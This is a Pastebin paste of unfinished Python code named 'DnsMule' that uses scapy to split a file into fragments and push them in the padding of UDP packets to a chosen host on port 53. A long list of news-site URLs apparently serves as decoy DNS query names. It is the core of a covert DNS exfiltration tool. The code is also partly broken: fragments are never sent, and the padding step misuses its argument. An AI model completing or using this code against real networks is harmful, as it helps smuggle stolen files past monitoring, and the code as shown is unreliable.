Advertisement
Guest User

WIP

a guest
Sep 23rd, 2019
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.71 KB | None | 0 0
  1. from scapy.all import DNS, DNSQR, IP, sr1, UDP, Padding
  2. from random import randint, randrange
  3. import textwrap
  4.  
  5.  
  6. class DnsMule:
  7. dst_ip = None
  8. dst_port = 53
  9. qname_list = ["http://us.cnn.com/", "https://www.nytimes.com/", "http://www.huffingtonpost.com/", "http://www.foxnews.com/", "https://www.usatoday.com/", "https://www.reuters.com/news/us", "http://www.politico.com/", "https://www.yahoo.com/news/", "http://www.npr.org/", "https://www.latimes.com/local/", "http://www.breitbart.com/", "http://nypost.com/", "http://www.nbcnews.com/", "http://www.cbsnews.com/", "http://abcnews.go.com/", "http://tampa.cbslocal.com/", "http://sanfrancisco.cbslocal.com/", "http://washington.cbslocal.com/", "http://boston.cbslocal.com/", "http://losangeles.cbslocal.com/", "http://philadelphia.cbslocal.com/", "http://chicago.cbslocal.com/", "http://newyork.cbslocal.com/", "http://dfw.cbslocal.com/", "http://minnesota.cbslocal.com/", "http://www.newsweek.com/", "http://detroit.cbslocal.com/", "http://www.nydailynews.com/", "http://www.chicagotribune.com/", "http://www.denverpost.com/", "https://www.boston.com/", "http://www.newsmax.com/", "http://www.theonion.com/", "http://www.seattletimes.com/", "http://www.mercurynews.com/", "http://www.washingtontimes.com/", "http://www.stltoday.com/", "http://www.miamiherald.com/news/", "http://ktla.com/", "http://www.newsday.com/", "http://chicago.suntimes.com/", "http://gothamist.com/", "http://abc13.com/", "http://wtop.com/", "http://www.seattlepi.com/", "http://www.nbcnewyork.com/", "http://observer.com/", "http://abc7news.com/", "http://wgntv.com/", "http://kdvr.com/", "http://www.nbclosangeles.com/", "http://www.westword.com/", "http://kxan.com/", "http://brooklyn.news12.com/", "http://www.phillyvoice.com/", "http://fox2now.com/", "http://www.twincities.com/", "http://www.dailyherald.com/", "http://www.nbcchicago.com/", "http://www.nbcsandiego.com/", "http://www.laweekly.com/", "http://www.nbcdfw.com/news/", "http://www.miaminewtimes.com/", "http://kron4.com/", "http://www.nbcphiladelphia.com/", "http://www.nbcwashington.com/", "http://wfla.com/", "http://www.pe.com/", "http://pix11.com/", "http://fox5sandiego.com/", "http://whdh.com/", "http://www.phoenixnewtimes.com/", "http://www.amny.com/", "http://arlington.wickedlocal.com/", "http://wsvn.com/news/", "http://www.riverfronttimes.com/", "http://www.villagevoice.com/", "http://www.nbcmiami.com/", "http://www.chicagoreader.com/", "http://www.houstonpress.com/", "http://wivb.com/", "http://www.metrotimes.com/", "https://www.minnpost.com/", "https://worldtruth.tv/", "http://news10.com/", "http://timesofsandiego.com/", "https://billypenn.com/", "https://www.texasobserver.org/", "http://citylimits.org/", "http://www.nysun.com/", "http://kplr11.com/", "http://www.miamitodaynews.com/", "https://newrightnetwork.com/", "http://atlantaintownpaper.com/", "https://usbreakingnews.net/", "http://heartlandnewsfeed.com/", "http://www.laobserved.com/", "http://pridepublishinggroup.com/pride/", "https://viral199.us/", "https://www.e360hub.com/"]
  10. raw_file = None
  11. file_fragments = []
  12.  
  13. def __init__(self, dst_ip, dst_port=53):
  14. self.dst_ip = dst_ip
  15. self.dst_port = int(dst_port)
  16. self.base_packet = IP(dst=self.dst_ip) / UDP(dport=self.dst_port)
  17.  
  18. def send_packet(self, padding=None):
  19. pad = Padding()
  20. if padding is not None:
  21. pad.load = padding
  22. res = sr1(self.base_packet / padding, verbose=False)
  23.  
  24. def fragment_file(self, file_path):
  25. f = open(file_path, 'rb')
  26. self.raw_file = f.read()
  27. temp_fragments = textwrap.wrap(self.raw_file, 1000)
  28. i = 0
  29. for frag in temp_fragments:
  30. self.file_fragments.append({str(i): frag})
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement